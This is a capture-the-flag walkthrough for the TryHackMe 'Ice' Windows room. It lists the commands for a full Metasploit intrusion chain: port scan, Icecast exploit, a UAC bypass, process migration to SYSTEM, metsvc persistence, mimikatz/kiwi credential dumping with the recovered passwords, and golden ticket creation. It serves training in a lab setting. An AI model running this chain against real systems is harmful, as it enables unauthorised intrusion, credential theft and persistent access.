Room Link : https://tryhackme.com/r/room/ice
STEP1
nmap -Pn -sSV 10.10.98.252
FINDING
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open http Icecast streaming media server
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
-------------------------------------------------------------------------------------------------------
STEP2
msfconsole -q
search icecast
use exploit(windows/http/icecast_header)
set options and exploit
bg the session
-------------------------------------------------------------------------------------------------------
STEP3
search exploit suggester
use post(multi/recon/local_exploit_suggester)
set SESSION
and run
-------------------------------------------------------------------------------------------------------
STEP4
USE exploit/windows/local/bypassuac_eventvwr
set SESSION
set LHOST
run
-------------------------------------------------------------------------------------------------------
STEP5
sessions -i 2
getprivs
SeTakeOwnershipPrivilege -- do nothing
ps -- to check processing running
migrate process id to merge with malicious exploit
shell
whoami
nt authority\system -- we are root or admin of the machine
-------------------------------------------------------------------------------------------------------
STEP6 (OPTIONS)
in meterpreter
run metsvc -A -- to keep the persistence even after restart the machine
-------------------------------------------------------------------------------------------------------
STEP7
in meterpreter
load kiwi -- is advance version of mimikatz -- it will also expland help menu
creds_all -- to get all the users and password
FINDING
Username Domain Password
-------- ------ --------
(null) (null) (null)
DARK-PC$ WORKGROUP (null)
Dark Dark-PC Password01!
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Dark Dark-PC Password01!
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Dark Dark-PC Password01!
dark-pc$ WORKGROUP (null)
-------------------------------------------------------------------------------------------------------
STEP8
in meterpreter
golden_ticket_create -- allowing us to authenticate anywhere with ease
dir *.txt /s -- search al .txt files
dir flag* /s /p -- search flag.txt file
dir /s /b flag.txt
-------------------------------------------------------------------------------------------------------
|